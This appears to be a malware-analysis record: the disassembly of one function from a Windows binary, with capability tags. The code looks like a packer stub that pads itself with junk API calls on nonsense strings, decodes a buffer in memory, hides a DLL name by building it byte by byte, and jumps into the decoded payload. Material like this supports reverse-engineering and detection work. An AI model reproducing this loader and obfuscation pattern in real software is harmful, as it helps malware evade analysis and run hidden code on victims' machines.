Function at 0x401247
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
mov eax, 0x41d821
call fcn.0041c87c
mov eax, 0x1020
call fcn.004076e0
push ebx
push esi
xor ebx, ebx
cmp dword [0x2afa6d4], 0x93
push edi
jne 0x4012cb
push str.Rexe_pugiyujilama
push str.Jucoj
call dword [sym.imp.KERNEL32.dll_MoveFileA]
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], ebx
mov word [ebp - 0x28], ax
push ebx
mov dword [ebp - 4], ebx
call fcn.00401587
push ebx
push ebx
call fcn.00401825
push ebx
push ebx
call fcn.00401825
push ebx
call fcn.004017df
add esp, 0x18
call fcn.00401239
push ebx
call fcn.0040183b
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 8
pop ecx
jb 0x4012cb
push dword [ebp - 0x28]
call fcn.00401830
pop ecx
add dword [0x2afa6d4], 0x1134b
push dword [0x2afa6d4]
mov eax, dword [0x424590]
push ebx
mov dword [0x2afb138], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2afa088], eax
call fcn.00401184
xor esi, esi
cmp dword [0x2afa6d4], ebx
jbe 0x40133a
mov eax, dword [0x2afb138]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2afa088]
mov byte [ecx + esi], al
cmp dword [0x2afa6d4], 0x490
jne 0x401331
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
inc esi
cmp esi, dword [0x2afa6d4]
jb 0x401300
xor esi, esi
mov eax, dword [0x2afa6d4]
add eax, esi
cmp eax, 0x8d
jne 0x401384
push str.sesocinosakedufuvadamejeyugixisirepenuxocug
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x42c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
inc esi
cmp esi, 0x38681
jl 0x40133c
mov eax, dword [0x2afa6d4]
mov ecx, dword [0x2afa088]
shr eax, 3
cmp eax, ebx
jbe 0x4013d8
mov esi, ecx
mov edi, eax
cmp dword [0x2afa6d4], 0x959
jne 0x4013cc
push ebx
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push ebx
lea eax, [ebp - 0x82c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x4013a3
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4013f8
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x3f61
mov eax, dword [ebp - 0x10]
add dword [0x2afa088], eax
inc esi
cmp esi, 0x674db
jl 0x4013da
push 0x7b
pop esi
cmp dword [0x2afa6d4], 0x86
jne 0x401442
push ebx
lea eax, [ebp - 0xc2c]
push eax
push str.Xeredipamu_humi_leludakob_dewicufof
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push str.Firifica
push str.Zobinac_yevubeze_bepatuyetupexu_moju
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0x102c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
dec esi
jne 0x401404
push 0x426388
mov byte [0x426391], 0x6c
mov byte [0x42638b], 0x6d
mov byte [0x42638c], 0x67
mov byte [0x426390], 0x64
mov byte [0x426393], bl
mov byte [0x426392], 0x6c
mov byte [0x42638f], 0x2e
mov byte [0x42638e], 0x32
mov byte [0x426388], 0x6d
mov byte [0x42638a], 0x69
mov byte [0x42638d], 0x33
mov byte [0x426389], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2afa088]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret